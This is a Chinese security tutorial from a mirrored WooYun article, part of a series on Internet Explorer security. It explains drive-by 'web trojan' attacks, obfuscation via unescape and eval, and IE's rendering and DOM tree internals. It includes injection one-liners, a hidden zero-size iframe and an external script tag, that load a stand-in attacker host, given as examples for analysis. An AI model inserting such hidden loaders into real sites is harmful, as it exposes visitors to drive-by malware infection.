IE安全系列:IE的自我介紹 (II)

wyzsk發表於2020-08-19
作者: blast · 2015/04/08 9:46

本篇依然是三段

II.1 介紹一些基礎概念和簡單實現

II.2介紹一些實用操作

II.3介紹IE對某些內容實現的具體細節

三節的內容並不是強聯絡,需要了解的內容也並不相同,跳過一節並不會影響到其他內容的理解,請根據需要來閱讀。

II.1 HTML與網馬攻擊


跟龍總(@瞌睡龍)商量了一下更換了大綱順序,所以本來放在後面的網馬解密決定放在前面和HTML、Javascript一起來說了。現階段網馬大部分都是工具生成的,由於基本都是傻瓜式操作,買個站掛上,再批次拿下其它站來插程式碼就好了,所以導致攻擊量居高不下。

這個問題在2007年附近尤其盛行,當時由於IE6的佔有量巨大,而IE6又是一個安全問題頻發的瀏覽器版本,加上盜版系統的佔有率高,自動安裝補丁的使用者少,所以網馬攻擊很常見,大家經常會發現用著用著突然瀏覽器記憶體佔用就升高了很多,這時候使用者很可能就已經受到了攻擊。

當然,隨著Windows Vista的釋出和許多新功能的加入,從IE9開始,此類問題已經逐漸得到了改善,但是顯而易見的是,微軟只是在逐漸提高攻擊者的攻擊門檻,從根本上看,每個廠商和軟體都不太可能消除使用者環境中各種原因產生的安全問題。

當時(2007)網馬已經較為成熟,各種加密(或者專業一些,稱作混淆,obfuscation)層出不窮,為了應付,當時我還做了一個工具叫Redoce,使用者體驗幾乎沒有,不嫌難用的也可以試試(本來想C++重寫這個工具的,可惜時間不允許了)。

enter image description here

圖:國外各種Exploit Kit提供支援的漏洞利用程式碼

網馬攻擊,或者專業點稱為“水坑式攻擊”(Watering Hole Attack),是它的一個子集,水坑式攻擊這個詞應該是從2012年RSA Security處誕生的,意義是針對要攻擊的人群,分析他們的習慣之後,在他們可能訪問的網站上掛馬,這些馬可以是瀏覽器漏洞,釣魚等等。

水坑攻擊中關於釣魚、欺騙的部分我暫且不提了,剩餘部分,網馬的程式碼一般涉及兩個部分,一個是程式碼混淆,一個是漏洞利用。很簡單,由於防毒軟體都有各種網盾之類的掃描機制,包括IE訪問時還會產生本地快取檔案,如果不對利用程式碼進行免殺的話,憑藉特徵庫,防毒軟體很容易就能檢測到當前頁面有惡意程式碼。

enter image description here

圖:某個Exploit Kit中提供的各種利用程式碼

漏洞利用部分,“解密”一詞倒是有多重含義,取決於你需要怎麼處置這段利用程式碼。常見的可以總結如下:

  • 找到掛馬的頁面要下載什麼木馬,這個是最簡單也是很常見的需求;

  • 瞭解Shellcode部分是如何在各個系統正常運作的,這個也不是多難,因為分析點只需要集中在一大堆Shellcode部分即可;

  • 完整分析漏洞,這個可能出現在你被0day給“水坑”了,而且你也對這個漏洞很好奇的時候,或者其他目的;

程式碼混淆部分,最初釋放出的程式碼可能只有簡單的混淆,例如變數名置換等等,但是後期漏洞利用程式碼一旦暴露時間增長,則掛馬者為了躲避防毒軟體檢測,會對程式碼進行各種加密。 但是肯定離不開程式碼的這一個單位:函式。

總的來說,網馬的解密就是要靠眼睛,即使中間加密再牛,最後也無非就是一兩招就能拆掉的。偶爾把自己當引數解密的這類難度係數可能會高上一層,但是也只是多費時間而已。

enter image description here

圖:某個Exploit Kit提供的漏洞利用指令碼

網頁掛馬的方式最常見的就是透過注入程式碼,黑闊們可能會使用軟體批次掃站,取得寫入許可權後向網頁內注入惡意指令碼。

通常,由於注入一大片指令碼會導致檔案大小突然變大很多,這樣將很容易被發現,所以通常攻擊者注入的都是簡短的一行:

#!html
<iframe src=”http://something.eval”  width= 0 height=0/>

或者

#!html
<script src=”http://also.something.eval” />

這樣,當使用者訪問當前網頁時就會自動載入起攻擊者的網頁或者指令碼。在早期的網馬中,通常width / height 的值很小,或者iframe、script出現在html標記之前或者/html標記之後都會被認為是惡意的。後來逐漸發展,由國外的Exploit Toolkit帶起來動態建立元素、302跳轉。 以及國內網馬也開始用Style標記隱藏元素,以及其他做法都出現了。

關於網馬的提供源,可見參考資料(1)。最近幾篇中,將穿插著同時介紹HTML,以及相關的網馬知識,至於SWF、PDF之類的,將放在後面提一提。

由於這是本篇的最開始,所以我們先簡單的介紹幾個元素:

1. IFRAME


enter image description here

enter image description here

圖:IFRAME在IE中的顯示效果

以上為一個IFRAME,用途是在當前網頁內再用“框架”顯示一個網頁,這是最常見的。FRAMESET(+ FRAME)也可以做到。上圖中alert部分的程式碼會在當前域執行。

FRAME相當於一個獨立的網頁,它(FRAME)的宿主是外層網頁,它(FRAME)的內部元素宿主是該FRAME自身。如果需要配合body onload等事件觸發漏洞的話,選擇iframe將是一個不錯的計劃。

2. SCRIPT


SCRIPT標籤透過src可以載入一個存放於外部網站的指令碼,這對控制網馬攻擊並插入當前網站的惡意程式碼的量有顯著的作用。惡意利用程式碼的長度通常都不短,直接寫入的話可能導致當前網站檔案大小異常,或者流經網路的流量異常,從而被管理員很快發現。

簡短的指令碼也可以直接寫入,例如幾年前最為流行的MS06-014(CVE-2006-0003)漏洞。作用域為當前域。

然後,針對程式碼的混淆,假定各位已經掌握了基礎的JavaScript/VBScript的相關知識,如果沒有可以參考W3School的相關教程。我們先來認識一組函式,這組函式提供了加密/編碼的功能:

unescape/ escape

這對函式互為逆反。

該函式的工作原理是這樣的:透過找到形式為 %xx 和 %uxxxx 的字元序列(x 表示十六進位制的數字),用 Unicode 字元 \u00xx 和 \uxxxx 替換這樣的字元序列進行解碼。(2)

在指令碼引擎中該函式的實現為:逐字搜尋%,找到後對後續內容進行有效性檢查(“u”開始? 是否都為16進位制數字?),滿足條件後,用對應字元替換%序列。

eval

這個函式可以將字串轉為程式碼來執行,例如預設情況下,eval(“alert(5)”)等價於alert(5)。同樣有這個功能的函式還有setTimeout、setInterval (第一個引數傳入字串的情況下)。

為什麼要介紹這個函式呢,因為字串的加密才是網馬混淆的重點所在,因為很有可能會出現這樣的程式碼:

eval(decrypt_function(“ENCRYPTED_STRING”));

而此時,eval就是整個去混淆的突破口。

II.2 網頁渲染概述


瀏覽器中顯示的花花綠綠的各種內容,基礎單位是什麼呢?上一篇中我們也提到了HTML,既然它是能讓瀏覽器操作一組“Markup”的語言,那麼Markup必然有自己更詳細的實現,這個實現又是什麼呢?粗略地說,這個實現就是元素(Element)。

如果有人用過使用基於XML的UI介面之類的庫,相信大家會更加容易理解元素是怎麼呈現在網頁上的。不過IE的網頁並沒有簡單的重用系統的基本視窗類,而是自行弄了一套邏輯。如果你試圖使用Spy++來檢視IE的話,你會發現只有一個Internet Explorer_Server的區域在這裡。

而且使用Spy++跟蹤Internet Explorer_Server的訊息時,幾乎看不見WM_CREATE視窗建立的訊息,有的全部是WM_PAINT和各種自定義訊息。

enter image description here

圖:Spy++觀察IE視窗

使用WebBrowser也可以得到這個物件。

enter image description here

圖:WebBrowser控制元件的結構和IE的視窗相似

那視窗上那各種各樣的元素是怎麼顯示出來的呢?答案是“自繪”的,IE的頁面上並不是標準的Windows視窗。

如果無法理解,可以類比一下QQ主介面,感受兩下。與IE渲染相關的類十分之多,這塊與安全關係不大,牽扯到的程式碼量也很大,最基礎的可以從CFormDrawInfo(獲取繪製資訊)、CSetDrawSurface(設定繪圖區域)、CCalcInfo(計算Site大小)這些以及相關的類跟蹤一下,它們是用於計算繪圖相關的類,還有文字排版、具體的繪製等內容分列在其他許多程式碼中,現在也暫且不談。對頁面渲染有興趣的話可以直接參考Chrome的程式碼,雖然他和IE用的不是一套,但是這樣更能受到啟發。

enter image description here

圖:IE9的渲染邏輯概括

II.3節點的結構


既然HTML透過各個元素來展示,那麼元素在IE中必然有更嚴格的層級結構和管理模式,這個模式是什麼樣的呢?

IE中幾乎每個看得見摸得著的標籤都對應著一個類,例如<a>(超連結錨)對應的是CAnchorElement。這些細分的類都是由CElement派生而來,而CElement則是由CBase派生而來。 這些子元素以元素樹的方式存在著。針對DOM,IE會在內部維護一個伸展樹(Splay Tree)。首先讓我們看一看一些這棵樹基礎的構成。

上一篇我們說到CMarkupPointer,這個是Markup Service的“指標”,那基於樹的模型中,樹的指標是什麼呢?答案是CTreePos。

在IE中,層級結構類似於:

enter image description here

詳細的描述一下上圖。每一頁(CDoc)都會有一個Primary Markup,該Primary Markup(CMarkup)指向當前Root Element(CElement)。

每個CMarkup會和某個Doc(CDoc)關聯起來,這個關聯關係體現在CMarkup的成員變數中,有一個CDoc*即為其相關的Document。

CMarkup會和Root Element相關聯(),CElement遍歷樹中元素(其實是節點node,方便理解說成元素了)要從First Branch開始,通常CElement中已經儲存了First Branch Node。 可以透過CElement::contains(...)來簡單理解一下這個過程,函式的功能是:判斷某個CElement的子樹中是否包含某個元素,(以下是簡化的流程):

  • 1 從引數中獲取CTreeNode,如果無法獲取,則獲取要判斷是否被包含的這個元素(CElement)的First Branch(注:GetFirstBranch()的返回值是CTreeNode)。

  • 2 從 1 步獲得的這個Node開始向上遍歷,直至遍歷到根Node,或者當前Node為止;

  • 3如果 2 步的結果是遍歷到了根Node,那麼返回VB_FALSE,如果是遍歷到了當前Node,返回VB_TRUE,這個邏輯大致是:

enter image description here

同樣,每個CTreeNode可以是與CElement關聯的(它也可以誰都不關聯,稱為未初始化的,也可以與文字關聯)。而CTreePos即為描述CTreeNode的位置“指標”,CTreePos要描述的是節點在“樹中的位置”。

在一個CTreeNode的視野中,起始節點稱為Begin Tree Pos(NodeBeg),最後的節點稱為End Tree Pos(NodeEnd)。

CMarkupPointer可以返回與之繫結在一起的節點的CTreePos,但是返回的並不一定都是繫結著的,也有可能是因為無效操作或者被移除等其他情況導致的未定義的位置。

最後,重提一下上一頁中出現的“元素交叉”的情況,這個情況在Javascript中又是怎麼處理的呢?大家可以試驗一下,檢視一下不同IE版本之間渲染的細微差別:

#!html
<div>wwww<b>xxxxx<i>yyyy</b>zzzzz</i>wwww</div>

<script>
    alert("begin..");

    var nodes = document.all;  
    for(var i=0;i<nodes.length;i++){  
        var o = nodes[i];  
        console.log(o.tagName + ',' + o.nodeType + ',' + o.sourceIndex + " : Parent is " + o.parentNode.nodeName);  
    }  
</script>

在IE8中,是:

enter image description here

圖:請看zzzzz被重複了兩次

IE8的輸出結果是:

enter image description here

而同樣的程式碼,在IE11中則是:

輸出的結果是: HTML1523: 重疊的結束標記。標記的結構應為

"<b><i></i></b>"

而不是

"<b><i></b></i>"。

檔案: hp.htm,行: 1,列: 25

HTML,1,0 : Parent is #document
HEAD,1,1 : Parent is HTML
BODY,1,2 : Parent is HTML
DIV,1,3 : Parent is BODY
B,1,4 : Parent is DIV
I,1,5 : Parent is B
I,1,6 : Parent is DIV
SCRIPT,1,7 : Parent is BODY

可見這裡元素被細分為了:

#!html
<div>wwww<b>xxxxx<i>yyyy</i></b><i>zzzzz</i>wwww</div>  

可見,IE8中元素I的區域明顯異於IE11。IE11中為什麼有如此改動呢?對比一下Chrome的結果即可知曉:

enter image description here

對比可見IE11的輸出和Chrome其實一樣,在元素髮生交叉時,將邏輯修改成了:重疊區域拆分成多個元素,而不是一直保持原始輸入不變。

enter image description here

以上是Chrome的控制檯結果,為了消除瀏覽器間的差異性,修改後的IE11的執行結果和Chrome變得一樣了。

參考資料 & 可供參考的資料


(1] http://bbs.kafan.cn/forum-105-1.html

(2] http://www.w3school.com.cn/jsref/jsref_unescape.asp

(3] http://contagiodata.blogspot.com/

(4] http://www.iefans.net/ie9-tuxingjiasu/

(5] http://spmblog.dynatrace.com/2009/12/12/uderstanding-internet-explorer-rendering-behaviour/

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章